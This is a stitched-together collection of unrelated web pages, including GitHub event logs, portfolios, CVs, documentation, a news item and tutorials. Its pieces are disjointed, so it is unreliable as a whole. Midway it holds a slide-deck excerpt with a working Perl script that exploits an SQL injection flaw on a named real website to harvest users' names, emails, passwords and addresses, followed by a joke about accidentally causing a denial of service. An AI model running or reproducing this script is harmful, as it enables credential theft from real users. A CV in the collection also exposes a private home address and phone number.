https://github.com/pulibrary/pdc_describe/pull/484/commits/2cc8749af1c35a508b08816aea8d60d512830ac6 ensures that ActiveMailer
is disabled for the production
environment
labeled
by James R. Griffin III at 2022-10-19 12:34:49.head_ref_force_pushed
by James R. Griffin III at 2022-10-19 12:35:30.review_dismissed
by James R. Griffin III at 2022-10-19 12:40:52.review_requested
by James R. Griffin III at 2022-10-19 12:48:10.unlabeled
by James R. Griffin III at 2022-10-19 12:48:22.referenced
by James R. Griffin III at 2022-10-19 13:05:27.merged
by James R. Griffin III at 2022-10-19 13:05:27.closed
by James R. Griffin III at 2022-10-19 13:05:27.head_ref_deleted
by James R. Griffin III at 2022-10-19 13:05:28.review_dismissed
by Bess Sadler at 2022-10-19 13:49:40.referenced
by Chuck McCallum at 2022-10-19 14:38:34.merged
by Chuck McCallum at 2022-10-19 14:38:34.closed
by Chuck McCallum at 2022-10-19 14:38:34.head_ref_deleted
by Chuck McCallum at 2022-10-19 14:38:35.assigned
by Bess Sadler at 2022-10-19 14:51:54.assigned
by Tyler Wade at 2022-10-19 14:55:59.assigned
by Tyler Wade at 2022-10-19 14:56:33.closed
by James R. Griffin III at 2022-10-19 15:04:27.labeled
by None at 2022-10-19 12:03:38.renamed
by None at 2022-10-19 12:04:15.labeled
by None at 2022-10-19 15:40:45.assigned
by Chuck McCallum at 2022-10-19 15:42:25.assigned
by None at 2022-10-19 15:42:36.assigned
by James R. Griffin III at 2022-10-19 15:42:45.review_requested
by Hector Correa at 2022-10-19 15:07:05.referenced
by None at 2022-10-19 17:09:36.merged
by None at 2022-10-19 17:09:36.closed
by None at 2022-10-19 17:09:36.head_ref_deleted
by None at 2022-10-19 17:09:37.closed
by None at 2022-10-19 17:09:37.head_ref_force_pushed
by None at 2022-10-19 15:02:59.review_dismissed
by None at 2022-10-19 17:10:22.head_ref_force_pushed
by None at 2022-10-19 17:10:22.referenced
by Bess Sadler at 2022-10-19 17:26:59.merged
by Bess Sadler at 2022-10-19 17:26:59.closed
by Bess Sadler at 2022-10-19 17:26:59.head_ref_deleted
by Bess Sadler at 2022-10-19 17:27:00.head_ref_force_pushed
by None at 2022-10-19 14:20:09.head_ref_force_pushed
by None at 2022-10-19 14:59:40.ready_for_review
by None at 2022-10-19 14:59:53.referenced
by Bess Sadler at 2022-10-19 17:28:25.merged
by Bess Sadler at 2022-10-19 17:28:25.closed
by Bess Sadler at 2022-10-19 17:28:25.head_ref_deleted
by Bess Sadler at 2022-10-19 17:28:26.referenced
by None at 2022-10-19 14:20:09.referenced
by None at 2022-10-19 14:59:39.closed
by Bess Sadler at 2022-10-19 17:28:26.referenced
by Bess Sadler at 2022-10-19 17:28:27.Duplicate of https://github.com/pulibrary/princeton_ansible/issues/3404 (I love this ticket for some reason...)
closed
by None at 2022-10-19 18:51:32.@carolyncole I had the same thought, 6 of one 1/2 dozen of another :) -- but as you said, this will be an easy change later if that's what users prefer.
ready_for_review
by Hector Correa at 2022-10-19 18:56:11.deployed
by None at 2022-10-19 18:58:34.referenced
by None at 2022-10-19 19:01:43.merged
by None at 2022-10-19 19:01:43.closed
by None at 2022-10-19 19:01:43.head_ref_deleted
by None at 2022-10-19 19:01:44.mentioned
by None at 2022-10-19 19:02:59.subscribed
by None at 2022-10-19 19:02:59.referenced
by Hector Correa at 2022-10-19 19:19:05.merged
by Hector Correa at 2022-10-19 19:19:05.closed
by Hector Correa at 2022-10-19 19:19:06.head_ref_deleted
by Hector Correa at 2022-10-19 19:19:07.referenced
by None at 2022-10-19 14:51:58.referenced
by None at 2022-10-19 15:02:58.assigned
by None at 2022-10-19 15:39:18.referenced
by None at 2022-10-19 17:10:21.referenced
by Bess Sadler at 2022-10-19 17:27:00.referenced
by None at 2022-10-19 18:43:15.closed
by Hector Correa at 2022-10-19 19:19:07.referenced
by Hector Correa at 2022-10-19 19:19:07.assigned
by Chuck McCallum at 2022-10-19 19:58:47.assigned
by Chuck McCallum at 2022-10-19 20:03:37.referenced
by Chuck McCallum at 2022-10-19 21:16:21.@hectorcorrea Please let me know if you need anything further to make this actionable. Thanks!
transferred
by Hannah H at 2022-10-19 20:55:36.mentioned
by Hector Correa at 2022-10-19 20:56:40.subscribed
by Hector Correa at 2022-10-19 20:56:40.assigned
by James R. Griffin III at 2022-10-19 13:33:58.closed
by Eliot Jordan at 2022-10-19 16:09:00.Tested on staging.
ready_for_review
by Eliot Jordan at 2022-10-19 15:34:44.referenced
by Eliot Jordan at 2022-10-19 16:18:26.merged
by Eliot Jordan at 2022-10-19 16:18:26.closed
by Eliot Jordan at 2022-10-19 16:18:26.head_ref_deleted
by Eliot Jordan at 2022-10-19 16:18:28.referenced
by Christina Chortaria at 2022-10-19 17:08:59.merged
by Christina Chortaria at 2022-10-19 17:08:59.closed
by Christina Chortaria at 2022-10-19 17:08:59.head_ref_deleted
by Christina Chortaria at 2022-10-19 17:09:00.closed
by Christina Chortaria at 2022-10-19 17:09:00.I have enabled versioning on all pdc describe buckets following the updated documentation in the rdss-handbook
assigned
by None at 2022-10-19 17:29:11.referenced
by None at 2022-10-19 17:46:28.closed
by None at 2022-10-19 17:51:12.@acozine I downgraded the bundler version to 2.3.24 and was able to deploy ruby 3.1. I noticed the rubytest.yml file you added only for bibdata-alma-worker-staging1. I can see usr/lib/ruby/vendor_ruby/phusion_passenger
passenger in this machine. I cannot see usr/lib/ruby/vendor_ruby/phusion_passenger
on the server machine bibdata-alma-staging1 and this is why I get a forbidden status only from this machine; I found this in the nginx logs pulsys@bibdata-alma-staging1:~$ sudo tail -f /var/log/nginx/error.log
: 'directory index of "/opt/bibdata/current/public/" is forbidden,'.
In the bibdata-alma-worker-stgaing1 machine I checked if passenger is loading by running /usr/bin/passenger-config --root
. Then I tunneled in bibdata-alma-worker-staging1 where you have the rubytest to run. Passenger is there but fails to load because of a gem version that I need to figure out how to change it. I will try again to install a different bundler version that supports the specific default gem that throws the error or I will start the ruby 3.1 upgrade from scratch. See you next week!
mentioned
by Alicia Cozine at 2022-10-19 20:21:54.subscribed
by Alicia Cozine at 2022-10-19 20:21:54.I'd update the first part of this doc to state clearly that it's not just the VPN machines that need to be on the final list - they change most frequently, but the list must also include the IPs for other machines (assuming this is still true).
Tested on staging.
deployed
by None at 2022-10-18 22:01:04.head_ref_force_pushed
by Eliot Jordan at 2022-10-19 14:49:16.deployed
by None at 2022-10-19 14:49:23.ready_for_review
by Eliot Jordan at 2022-10-19 15:42:31.review_dismissed
by Eliot Jordan at 2022-10-19 16:03:19.head_ref_force_pushed
by Eliot Jordan at 2022-10-19 16:03:19.referenced
by Eliot Jordan at 2022-10-19 16:08:57.merged
by Eliot Jordan at 2022-10-19 16:08:57.closed
by Eliot Jordan at 2022-10-19 16:08:58.head_ref_deleted
by Eliot Jordan at 2022-10-19 16:08:59.closed
by Eliot Jordan at 2022-10-19 16:08:59.referenced
by Eliot Jordan at 2022-10-19 18:59:14.merged
by Eliot Jordan at 2022-10-19 18:59:14.closed
by Eliot Jordan at 2022-10-19 18:59:14.head_ref_deleted
by Eliot Jordan at 2022-10-19 18:59:15.assigned
by Eliot Jordan at 2022-10-19 18:55:27.labeled
by Eliot Jordan at 2022-10-19 18:55:41.closed
by Eliot Jordan at 2022-10-19 18:59:16.@dependabot rebase
Looks like this PR is already up-to-date with main! If you'd still like to recreate it from scratch, overwriting any edits, you can request @dependabot recreate
.
@dependabot recreate
labeled
by None at 2022-10-19 16:09:37.labeled
by None at 2022-10-19 16:09:37.mentioned
by Dependabot at 2022-10-19 18:37:03.mentioned
by Dependabot at 2022-10-19 18:59:51.head_ref_force_pushed
by None at 2022-10-19 19:00:35.referenced
by Eliot Jordan at 2022-10-19 19:14:46.merged
by Eliot Jordan at 2022-10-19 19:14:47.closed
by Eliot Jordan at 2022-10-19 19:14:47.head_ref_deleted
by Eliot Jordan at 2022-10-19 19:14:48.I saw this recently and it went away after upgrading Blacklight to the latest. Hope that resolves it for you, too.
labeled
by Eliot Jordan at 2022-10-19 19:25:34.This is now being tracked using https://princeton.service-now.com/now/workspace/agent/record/change_request/2cfa914f872259987f147487cebb35e0, as this was the guidance provided within the responses to https://princeton.service-now.com/now/workspace/agent/record/incident/8b17413a87a215987f147487cebb350e
I am afraid that I cannot add Watcher
users due to the following form error:
I am wary to set this field to an arbitrary value, and I apologize for this.
referenced
by None at 2022-10-19 18:55:31.merged
by None at 2022-10-19 18:55:31.closed
by None at 2022-10-19 18:55:31.head_ref_deleted
by None at 2022-10-19 18:55:32.referenced
by Bess Sadler at 2022-10-19 19:03:43.merged
by Bess Sadler at 2022-10-19 19:03:43.closed
by Bess Sadler at 2022-10-19 19:03:43.head_ref_deleted
by Bess Sadler at 2022-10-19 19:03:44.labeled
by None at 2022-10-20 01:26:42.Superseded by #28.
closed
by None at 2022-10-20 01:26:44.head_ref_deleted
by None at 2022-10-20 01:26:45.


The Portfolio
I'm Mahdi Farang, UI designer from Tehran, Iran. simplicity and briefness are my concern in design. I like designing app, web and words(=Typography).
Have a look around and don't hesitate to contact me;
+98<PHONE_NUMBER>
<EMAIL_ADDRESS>UI Designer - 2018
MAPFA is a company that provides VAS solutions for MNOs to enable them deliver various differentiated Value Added Services to their subscribers.
Founder/Front Developer - 2016/2017
ArtGalleries is an online platform for discovering art. Collect and buy art you'll love, featuring visual art exhibition in galleries accross Iran.
Designer/Front Developer - 2015
Simia Service is an online platform that offers online retailing, administrative affairs, and online counselling. The online retailer sells groceries and crafted gifts to its users. The counselling platform offers psychology-based counselling to its users.
Graphic Designer - 2014
pHow is an online how-to guide with a large number of articles in persian language offering step-by-step instructions. pHow articles and videos are created by freelancers and cover a wide variety of topics organized into a hierarchy of categories.
Islamic Azad University Central Tehran Branch - 2013
Tehran University of Art - 2009
expert: HTML, CSS, Sass (I can convert almost every design into html/css)
familiar: JavaScript, JQuery
expert: Bootstrap, Tailwind
expert: Figma, Sketch, Framer, Atomic, Flinto, Photoshop, Zeplin
familiar: Origami
expert: Wordpress (run and maintain wordpress site, customize plugin and themes)
Agile (Scrum Methodology), Task Management (Jira, Trello)
Web Design Final Candidate for artgalleries.ir - 2016


ROS Regex Numeric Range Generator
A utility that can generate a regex code to match any range of numbers.
Minimum Value
Maximum Value
Capture
Shorthand
Relax Zeros
Generated Regex


{% extends request.THEME_NAME|add:'site_account_base.html' %} {% block title %}Reset Passord{% endblock%} {% block content %}
Enter your e-mail address below and we will send you instructions how to recover a password.


Busa Keyboard
This package includes a keyboard called:
Busa
designed for use with Boko, Bokobaru and Busa and related languages.
Key Combinations
| Shift + 2 | ɑ | Alt + @ | @ |
| Shift + 3 | ɡ | Alt + # | # |
| Shift + 6 | ŋ | Alt + 6 | Ŋ |
| Alt + c | ç | Alt + C | Ç |
|
Diacritic Combinations
| Alt + 2 | ◌̣ |
| Alt + g | ◌̂ |
| Alt + h | ◌̀ |
| Alt + j | ◌́ |
| Alt + k | ◌̃ |
| Alt + l | ◌̃̀ |
| Alt + ; | ◌̃́ |
| Alt + ' | ◌̃̄ |
| Alt + / | ◌̄ |
|
Fonts
The fonts Doulos SIL or Charis SIL work well with this keyboard. Charis SIL is part of this keyboard package.
Keyboard Layout
The keyboard layout is displayed below in Keyboard graphics.
Base layout
Shift layout
ALT layout
Shift ALT layout


This box is here for YOU!
If you want to borrow something just scan your Student ID followed by the item.
If you want to return something, just scan the item first.
It's that easy!
Please be sure to also return the things you borrow, not to borrow too many things at once and to use the equipment responsibly for you will be held responsible if it goes missing or breaks!


How to scribe for CS-6841: Advanced Algorithms
- Take complete notes for the class. Note the lecture number.
- Download advalgos.sty, advalgos.bib and template.tex. You might also want example-figure.pdf.
Put them all in the same directory.
- Rename template.tex as lectureXX.tex, where XX is the number of
the lecture (01, 02, ..., 09, 10, 11, ..., etc.).
- (Main step.) Edit the lectureXX.tex file so as to include your scribe
notes. Set the lecture number, title, and scribe name in the
first few lines, use macros appearing in lpsdp.sty as
appropriate. Use LaTex best practices! Include at least one
figure.
- If necessary, add to (but don't subtract from) advalgos.bib.
- Produce your pdf by bibtexing and by pdflatexing. The output file will be lectureXX.pdf.
- Email the following files to Raj or Ravi:
lectureXX.tex, lectureXX.pdf, figure file(s), and advalgos.bib (iff you added
to it).
- The deadline is seven calendar days after the lecture.
Math Writing tips:
LaTexing tips:


Waiguru Takes Matiang'i Shopping [PHOTOS]
by John MbatiInterior CS Fred Matiang'i was hosted by Kirinyaga Governor Anne Waiguru on Friday, November 29, 2019.
The two leaders visited Kagio Market where they bought groceries and interacted with vendors.
Photos sent to Kenyans.co.ke showed the duo purchasing Tomatoes and cowpeas at the market that was upgraded by the governor.
The leaders then participated in a fundraiser for Gathuthini Hope Foundation, where they were joined by governors Hassan Joho (Mombasa), Joseph ole Lenko (Kajiado) and James Ongwae (Kisii).
"First stop was the inspection of Kagio Market where the governor expressed her joy in the cooperation residents of Kirinyaga have shown towards development projects being run in the county.
"She also encouraged residents to proceed with caution in matters politics, adding that at the end of the day peace is more important," read a statement from the governor's press team.
Matiang'i also commissioned the construction of Kagio Police Station.
"This is part of our reforms agenda for the police service. With support from the community, we'll make this facility the benchmark of policing in the region," Matiang'i tweeted.


After cloning your repository and accessing it through terminal, create two new gedit files named "index.html" and "main.css"
Edit your webpage using HTML code for index, then link it with main.css and use CSS to customize the look of your website.
Save your files, and use the git commands to save it on GitHub for safety.
In terminal, access the production server using "sftp [name-id]@cmis-hsteacher". Add the production server to your known servers if it's the first time accessing it, and enter your password. Be sure to have moved to the location of your file before accessing the servers
Once in the production server, move into the "public_html" folder.
You can add files using "put [file name]" and remove them using "rm [file name]".
Whilst having your terminal out with the production server accessed, you can view your work by opening a browser and typing "cmis-hsteacher/~[name-id]" in the address bar.


Created by GNSPS for JORTEC - Feb '19
#!/usr/bin/perl
#
# The script fetches CIC'c user passwords from an
# SQL injection flaw on their main site.
#
use strict;
use IO::Socket::INET;
use Encode;
use utf8;
if((@ARGV < 1) || (@ARGV > 3))
{
usage();
}
#usage() unless ((@ARGV >= 2) || (@ARGV <= 3));
my $search_string = shift(@ARGV);
my $filename = shift(@ARGV);
my $port = shift(@ARGV);
my $host = "www.cic.pt";
my $path = "/default.asp?[deleted]";
if (!$port)
{
$port = 80; print "\n[+] Using default HTTP port (80)\n\n";
}
if(!$filename)
{
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
$year += 1900;
$filename = "cic_alunos".$mday.".".$mon.".".$year."T".$hour.".".$min.".".$sec;
}
my $socket;
my $count = 0;
my $i = 0;
my $temp;
my $answer;
binmode STDOUT, ':utf8';
binmode OUTFILE, ':utf8';
print "\n[+] Writing to ".$filename.".passwd\n\n";
open(OUTFILE, ">>".$filename.".passwd");
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "\n\nCannot connect to host!\n";
print "\n[+] Connnected!\n\n";
print OUTFILE "[+] Starting data fetching at ".localtime."\n";
print $socket "GET ".$path.$search_string." HTTP/1.1\n";
print $socket "Host: ".$host."\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
if ($answer =~ /mero:<\/b> (.+)/)
{
chomp($1);
print "[+] Nome: ".$1."\n";
print OUTFILE "***\nNome: ".$1."\n";
$count++;
}
elsif ($answer =~ /
 Nome:<\/b> (.+)/)
{
chomp($1);
print "[+] E-mail: ".$1."\n";
print OUTFILE "E-mail: ".$1;
$count++;
}
elsif ($answer =~ /
 Turma:<\/b> (.+)Âº (.+) -(.+)/)
{
chomp($1);
chomp($2);
print "[+] Password: ".$1."\n";
print OUTFILE "Password: ".$1."\n";
print "[+] Número CIC: ".$2."\n";
print OUTFILE "Número CIC: ".$2."\n";
print "[+] Morada: ".$3."\n";
print OUTFILE "Morada: ".$3;
$count += 3;
}
elsif ($answer =~ /
 Email:<\/b> (.+)/)
{
print "[+] BI: ".$1."\n";
print OUTFILE "BI: ".$1;
$count ++;
}
}
close($socket);
$count = $count / 3;
print "\n[+] Retrieved ".$count." users' login information successfully!\n\n";
print OUTFILE "\n[+] Retrieved ".$count." users' login information successfully!\n\n";
close(OUTFILE);
exit(1);
sub usage
{
print "\nUsage: cic.pl <search_string> [filename] [port]\n
<search_string> - String matching in the WHERE clause of SQL statement ('WHERE email LIKE search_string') \n
[fiename] - Filename for output file [filename].passwd (default: 'cic_alunosdd.mm.yyThh.mm.ss.passwd')\n
[port] - The TCP port in which http server ir running on (default: 80)\n\n";
exit(1);
}
Because while trying to persist access I DoSed some servers! 😂
Lines in cash registers kept growing and the website was down. 😱
You can reach me at
Created by GNSPS for JORTEC - Feb '19
reveal.js enables you to create beautiful interactive slide decks using HTML. This presentation will show you examples of what it can do.


I started Machine Learning in 2018 with CS229. Since then, I have been academically as well as professionally involved in this field. I thrive to do solid scientific research in Computer Vision and impact the mankind in a positive way. I believe that one day Artificial Intelligence will help human race to deal with every problem that we are unable to solve now and I want to be a part of that revolution.
Achleshwar Luthra
15-B, Maqbool Road
Amritsar, Punjab 143001 India
(+91)9779159776
<EMAIL_ADDRESS>B.E. (Hons.) in Electrical and Electronics Engineering • August, 2018 - Present
XII Grade (ISC Board) • May 2018
X Grade (ICSE Board) • May 2016
Computer Vision Research Intern • October 2020 - Present | Rajasthan, India
Artificial Intelligence Researcher • October 2020 - Present | Karnataka, India
Machine Learning Intern • July 2020 - Aug 2020 | Telangana, India
Data Science Intern • May 2020 - June 2020 | Data Science Intern


Include external images in the GoogleEarth Viewer interface.
Include external images in the GoogleEarth Viewer interface.
| kmlStr = ge_screenoverlay(fileName) |
| kmlStr = ge_screenoverlay(fileName,Parameter,Value) |
| kmlStr = ge_screenoverlay(fileName) |
With the above syntax, a screen overlay can be included in the KML string. Screen overlays are useful for including legends, logos, and for displaying non-spatial data. If no parameter/value pairs are specified, the image file fileName is displayed at its true size in the lower left corner of the GoogleEarth Viewer.
| kmlStr = ge_screenoverlay(fileName,Parameter,Value) |
In addition to the above syntax, a number of options can be set. Assigning values to the parameters can be accomplished by inclusion of an alternating sequence of parameters and their value. The table below provides an overview of the authorized options. The order in which the parameters are included does not matter. Please be aware that the options are case-sensitive. Examples are provided further down.
| Parameter | Description |
| 'drawOrder' | Determines which image should be stored on top, when multiple image overlap (at a given time step). Default is 0. |
| 'posBottom' | See 'Remarks' section below. Default is 0. |
| 'posBottomUnits' | See 'Remarks' section below. Default is 'fraction'. |
| 'posLeft' | See 'Remarks' section below. Default is 0. |
| 'posLeftUnits' | See 'Remarks' section below. Default is 'fraction'. |
| 'rotation' | Rotation in degrees around the point specified by sizeLeft and sizeBottom. Default is 0. |
| 'sizeBottom' | See 'Remarks' section below. Default is 0. |
| 'sizeBottomUnits' | See 'Remarks' section below. Default is 'fraction'. |
| 'sizeHeight' | See 'Remarks' section below. Default is 1. |
| 'sizeHeightUnits' | See 'Remarks' section below. Default is 'fraction'. |
| 'sizeLeft' | See 'Remarks' section below. Default is 1. |
| 'sizeLeftUnits' | See 'Remarks' section below. Default is 'fraction'. |
| 'sizeWidth' | See 'Remarks' section below. Default is 1. |
| 'sizeWidthUnits' | See 'Remarks' section below. Default is 'fraction'. |
| 'timeSpanStart' | Determines the start time of a period when the image is visible. |
| 'timeSpanStop' | Determines the end time of a period when the image is visible. |
| 'visibility' | Determines whether the image is initially visible. |
Positioning an image on the screen is accomplished through specifying
The screen pixel is defined by 'posLeft' (distance from the left side of the Earth Viewer panel) and 'posBottom' (distance from the bottom side of the Earth Viewer panel) parameters. These properties can be defined in units of pixels (...,'posLeftUnits','pixels',... or ...,'posBottomUnits','pixels',...) or as a fraction (...,'posLeftUnits','fraction',... or ...,'posBottomUnits','fraction',...).
Having thus defined item (1) above, we also need to define which pixel of the image should be positioned over the screen pixel we just defined. This is accomplished through the 'sizeLeft' (distance from the left side of the image) and 'sizeBottom' (distance from the bottom side of the image) parameters. These properties can be defined in units of pixels (...,'sizeLeftUnits','pixels',... or ...,'sizeBottomUnits','pixels',...) or as a fraction (...,'sizeLeftUnits','fraction',... or ...,'sizeBottomUnits','fraction',...).
As a final touch, we can set the size of the image using the parameters 'sizeWidth' and 'sizeHeight'), and their units in pixels (...,'sizeWidthUnits','pixels',... or ...,'sizeHeigthUnits','pixels',...) or as a fraction (...,'sizeWidthUnits','fraction',... or ...,'sizeHeigthUnits','fraction',...).
See the demo file demo_ge_screenoverlay for more details.
The above will generate a *.kml file that looks like the image below when opened in the Google Earth viewer.


- If any of the datasets you are exporting are not already in the
WORK library, copy them to there:
PROC COPY IN=mylib OUT=WORK; SELECT test1 test2; RUN;
- If you have created value label formats using PROC FORMAT;
VALUE ..., output these value labels into a SAS
dataset:
PROC FORMAT CNTLOUT=format;RUN;
- Define a LIBNAME to reference the SAS Version 5 transport
file engine:
libname xp SASV5XPT "test.xpt";
- Copy all needed datasets to, e.g., test.xpt:
PROC COPY IN=work OUT=xp;SELECT test1 test2 format;RUN;
DO NOT use PROC CPORT to create the file.


With a proven track record delivering professional web solutions at competitive prices, my objectives are to develop bold and outstanding solutions to fit your exact requirements. I maintain great communication with clients throughout any project, ensuring the solution is delivered on time and to my customer’s satisfaction.
I have been working as a web developer for several years and am dedicated to my profession, bringing artistic and technically advanced concepts to life through the medium of code. I keep myself at the forefront of technological advancements through a commitment to continual personal learning, which enables me to exceed client expectations through the quality and innovation of the solutions I provide. I’m open and honest with my clients, take immense pride in the solutions I create and am always ready to take on a new challenge.


References and Dependency
The RELOAD Editor is essentially a tool for organising and reorganising content and the tools possess many simple features which assist the user in their task.
Finding References
In complex content packages, it can often be hard to match up Items and the resources they reflect. By selecting a given item and right-clicking, a context sensitive menu appears with the option Find Reference at the bottom (see screenshot). Clicking this option will move focus to the relevant resource in the resources tree. When an Item is selected the name of the associated resource also appears in the Attribute Pane. If you wish to reassign a resource to the item, simply click on the Referenced Element attribute and select a new resource from the drop down box which lists all current resources.
Adding Files and Dependencies
Although the RELOAD Editor parses HTML files when adding them to the resources tree, it cannot exhaustively add all dependencies for all resource types. This is especially the case for pages which reference flash movies and java applets where the movie or applet may itself refer to content within compiled code.
In such cases, additional files can be added manually. By selecting a given resource and right-clicking, a context sensitive menu appears with the option Add File towards the bottom (see screenshot). Once selected, a new file icon appears at the appropriate point in the resources tree and the relevant value (a path and filename) can be added in the Attribute Pane below. In addition to single files, a given resource may well depend upon another resource. By selecting a given resource and right-clicking, a context sensitive menu appears with the option Add Dependency at the bottom (see screenshot). Once selected, a new dependency icon appears in the resources tree and the relevant resource can be selected from the drop down list in the Attribute Pane. The Find Reference option can be used to re-find the relevant resource for a given dependency as above.